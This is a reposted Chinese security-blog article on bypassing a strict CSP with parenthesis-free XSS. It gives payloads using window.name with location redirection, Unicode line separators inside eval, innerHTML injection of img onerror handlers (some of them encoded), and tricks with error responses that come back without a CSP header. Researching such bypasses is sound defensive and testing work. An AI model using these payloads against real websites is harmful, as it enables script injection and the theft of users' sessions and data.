1. 极安网首页
  2. 网络安全技术

使用无括号的XSS绕过CSP策略研究

使用无括号的XSS绕过CSP策略研究-极安网

研究目标:绕过一个严格CSP策略

  1. default-src ‘self’;
  2. script-src ‘self’;

技巧点一,无CSP的前提下执行任意XSS payload

  1. window.name=eval(alert(1))
  2. location=name

说明:

window.name是可以跨域的,这恶意网站上设置window.name,再让受害者访问有xss漏洞的网站,注入xss payload,location=name,即可在有长度限制前提下,执行任意的xss代码。

这个操作绕不过CSP。

技巧点二,javascript分割符号替代分号

  1. \u2028 \u2029
  2. eval('x=123\u2028alert(x)')

技巧点三,注入任意的HTML代码到网页中

方法展示,这里思路多变,根据实际情况来决定

  1. http://example.com/?test=<img/src="x"/onerror=alert(23)>
  2. document.body.innerHTML=location.search;    //document.referrer
  3. document.body.innerHTML=document.body.innerText;
  4. document.body.innerHTML="&ltimg src=x onerror=alert(23)&gt"
  5. document.body.innerHTML=document.body.innerText
  6. document.body.innerHTML="\u003cimg src=x onerror=alert\u002823\u0029\u003e";

技巧点四,绕过CSP策略

响应头不返回CSP头的方法

发送400请求,响应头中将不设置CSP头

通过 iframe发送%GG或者%2f 解析错误

本文转载:中兴安全攻防,不代表 极安网 立场,转载请注明出处:https://secvery.com/2667.html